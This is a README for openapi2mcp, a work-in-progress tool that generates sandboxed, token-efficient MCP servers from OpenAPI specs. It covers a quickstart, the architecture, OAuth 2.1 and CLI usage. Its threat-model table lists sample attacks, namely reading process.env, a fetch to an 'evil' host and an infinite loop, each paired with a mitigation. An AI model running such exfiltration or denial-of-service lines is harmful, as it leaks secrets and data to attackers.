openapi2mcp

<h3 align="center"><b>Turn any OpenAPI spec into a token-efficient MCP server —<br>the entire API through two tools, no matter how big it is.</b></h3>

<a id="status"></a>

⚠️ Work in progress. This project is early and actively evolving — the API, generated output, and configuration may change without notice. Not production-ready. Expect rough edges; ideas and PRs welcome (see CONTRIBUTING.md).

openapi2mcp generates a standalone, Dockerizable MCP server that exposes a whole REST API via just search and execute, following the Code Mode pattern popularized by Cloudflare. The model writes a little JavaScript; the server runs it safely. The result: a fixed ~1–2k token footprint that never grows with your API.

your OpenAPI spec  ──►  openapi2mcp  ──►  a runnable MCP server (2 tools, ~1–2k tokens)

---

The problem

Every endpoint you expose as a normal MCP tool fills the model's context window. For a large API this breaks entirely:

| Approach | Tools | Tokens (200k context) | | --- | --- | --- | | Raw spec in prompt | — | ~2,000,000 (977%) | | Native MCP — full schemas | 2,500 | 1,170,000 (585% ❌) | | Native MCP — minimal schemas | 2,500 | 244,000 (122%) | | Code Mode — this project | 2 | ~1,200 (0.5% ✅) |

Code Mode inverts the model: instead of picking from thousands of fixed tools, the agent writes code that says what it wants, and the server executes it.

Quickstart

git clone https://github.com/dspachos/openapi2mcp.git openapi2mcp && cd openapi2mcp
npm install

# Generate a server from the canonical Petstore spec (no creds needed)
npm run example

# Run it
cd generated/petstore-mcp && npm install && npm start   # → http://localhost:8787/mcp

Connect any MCP client:

{
  "mcpServers": {
    "petstore": { "type": "http", "url": "http://localhost:8787/mcp" }
  }
}

Then just ask your agent: "find the endpoints for managing orders, then list the stored orders." It will search the spec, then execute the calls.

How it works

┌──────────┐   tools/call(search)   ┌────────────────────────┐
│          │ ─────────────────────► │  Generated MCP server   │
│   Agent  │   tools/call(execute)  │  ┌──────────────────┐   │
│   (LLM)  │ ◄───────────────────── │  │  sandbox          │   │
│          │   results only         │  │  (isolated-vm)    │   │
│          │   (the spec never      │  │   • no fs / env   │   │
│          │    reaches the agent)  │  │   • no free fetch │   │
└──────────┘                        │  └────────┬─────────┘   │
                                    │           │ api.request │
                                    │  ┌────────▼─────────┐   │
                                    │  │  host process    │   │
                                    │  │   • injects auth │───►  your API
                                    │  │   • host allow-  │   │
                                    │  │     list (fetch) │   │
                                    │  └──────────────────┘   │
                                    └────────────────────────┘

• search({ code }) — read-only JavaScript over the resolved OpenAPI spec (spec.paths). The agent discovers the endpoints it needs; the full spec never enters its context.
• execute({ code }) — JavaScript that calls api.request({ method, path, query, body }) to hit the API, compose calls, paginate, filter results, and return just what's needed.

Security model

This tool executes model-authored code at runtime, so the sandbox is the whole game. Each generated server runs untrusted code in a hardened isolated-vm V8 isolate — not Node's vm module, which is not a security boundary.

| Threat | Mitigation | | --- | --- | | Secret exfiltration (JSON.stringify(process.env)) | No process, require, or env access inside the isolate | | Data exfiltration (fetch('https://evil/…')) | No fetch; api.request is the only network primitive, locked to your API base URL | | Token leakage | The API secret is injected by the host and is never visible to sandboxed code | | DoS (while(true){} / memory bombs) | Per-call memory limit + wall-clock timeout; a fresh isolate per call |

Where AI fits

At generation time only — zero LLM cost per request. If you provide an OpenAI-compatible endpoint, the generator analyzes your spec and writes tailored search/execute descriptions, grounded examples using real API paths, and notes on response envelopes / pagination / auth quirks. If unavailable, it falls back to deterministic descriptions. Disable with --no-ai.

Works with any OpenAI-compatible provider — OpenAI, Azure, OpenRouter, LiteLLM, Ollama, a local gateway, etc.:

export OPENAI_API_KEY=sk-...
export OPENAI_BASE_URL=https://api.openai.com/v1   # or your gateway

OAuth 2.1 — per-user, downscoped access

For multi-user deployments, generate with --oauth and the server becomes its own OAuth 2.1 authorization server (the model Cloudflare uses):

openapi2mcp generate --spec ... --oauth --auth bearer --auth-env API_TOKEN

Each end-user then authorizes via a browser consent flow instead of sharing one baked-in token:

1. The MCP client hits /mcp unauthenticated → 401 + Protected Resource Metadata.
2. It discovers /.well-known/oauth-authorization-server, registers a client (/register — Dynamic Client Registration), and runs authorization-code + PKCE (S256).
3. The consent page asks the user for their upstream API token and which scopes to grant. Scopes are derived from the spec automatically — <product>:<read|write>, e.g. orders:read, billing:write.
4. The server issues a short-lived RS256 JWT access token + refresh token, storing the user's upstream token server-side (it never enters the sandbox).
5. On every execute the granted scopes are enforced — the agent cannot call operations the user didn't approve.

Endpoints: /.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server (RFC 8414), /authorize, /token, /register, /revoke, /jwks.

⚠️ Security notes. Access tokens are signed by a per-process key (restart invalidates them; refresh tokens survive). The token store is in-memory / single-instance — swap in Redis/KV/Postgres for multi-instance. The paste-token consent model trusts the resource owner to paste into a flow they initiated. This is a focused MCP subset — security review recommended before production.

Usage

npx tsx src/index.ts generate \
  --spec https://api.example.com/openapi.json \
  --name example \
  --base-url https://api.example.com \
  --auth bearer --auth-env EXAMPLE_API_TOKEN \
  --out ./generated/example-mcp

| Flag | Purpose | | --- | --- | | --spec <url\|file> | OpenAPI spec (required) | | --name <name> | server / output name (required) | | --out <dir> | output dir (default ./generated/<name>-mcp) | | --base-url <url> | target API base URL (else spec servers, or spec URL origin) | | --base-url-env <VAR> | env var to read the base URL at runtime (preferred) | | --auth bearer\|apikey\|none | auth scheme (default: auto-detect from securitySchemes) | | --auth-env <VAR> | env var holding the target API secret (default API_TOKEN) | | --auth-header <name> | header for apikey auth (default X-Api-Key) | | --oauth | enable OAuth 2.1 authorization-server mode (per-user, downscoped tokens) | | --no-ai | skip AI augmentation | | --llm-base-url <url> | LLM base (default $OPENAI_BASE_URL) | | --llm-api-key <key> | LLM key (default $OPENAI_API_KEY) | | --llm-model <id> | model id (default: auto-detect via /v1/models) |

The generated server

<name>-mcp/
├── spec.json          # resolved, trimmed OpenAPI spec (for the search tool)
├── meta.json          # auth, base URL, AI-generated descriptions & examples
├── package.json
├── Dockerfile
└── src/
    ├── index.ts       # MCP server + streamable HTTP transport
    ├── sandbox.ts     # isolated-vm runner (the security boundary)
    ├── search.ts      # search tool (read-only over the spec)
    └── execute.ts     # execute tool (locked-down api.request)

cd generated/example-mcp
cp .env.example .env          # set base URL + secret + PORT
npm install && npm start      # → http://0.0.0.0:8787/mcp

Docker:

docker build -t example-mcp .
docker run -p 8787:8787 \
  -e BASE_URL=https://api.example.com \
  -e API_TOKEN=secret \
  example-mcp

The runtime is fixed code — only spec.json and meta.json vary per API. It runs on plain Node + Docker (no Cloudflare Workers dependency; isolated-vm replaces their Dynamic Worker Loader).

Project structure

openapi2mcp/
├── src/                # the generator
│   ├── spec/           #   fetch · $ref resolver · spec trimmer
│   ├── analyze.ts      #   detect base URL + auth scheme
│   ├── ai.ts           #   optional AI augmentation (OpenAI-compatible)
│   ├── emit.ts         #   scaffold from template/ + inject spec.json/meta.json
│   └── generator.ts    #   orchestration
└── template/           # the runtime, copied verbatim into every generated server

How it compares

| Approach | Token cost | Scales to huge APIs | Sandbox needed | Agent-side changes | | --- | :---: | :---: | :---: | :---: | | Native MCP (one tool / endpoint) | high (grows with API) | ❌ | no | none | | CLI-per-server (progressive disclosure) | low | ✅ | shell (larger surface) | needs a shell | | Dynamic tool search | medium | ⚠️ | no | needs a search fn | | openapi2mcp (Code Mode) | ~1–2k fixed | ✅ | isolated-vm | none |

Contributing

Contributions welcome — see CONTRIBUTING.md for setup, where things live, and PR conventions.

Roadmap

• [x] OAuth 2.1 per-user, downscoped authorization-server mode ✅
• [ ] Durable / multi-instance token store (Redis, KV, Postgres) + persisted signing key
• [ ] B1 path: delegated upstream OAuth (GitHub/Google-style refresh-token storage)
• [ ] Streaming / chunked responses for large payloads
• [ ] Heuristic response-envelope + pagination auto-handling
• [ ] Published as an npx-able npm package
• [ ] Tests across more OpenAPI edge cases (Swagger 2.0, allOf/oneOf, webhooks)

Acknowledgements

Inspired by Cloudflare's Code Mode and Anthropic's Code Execution with MCP. Security is built on isolated-vm by Karl Miller. MCP via the official Model Context Protocol SDK.

License

MIT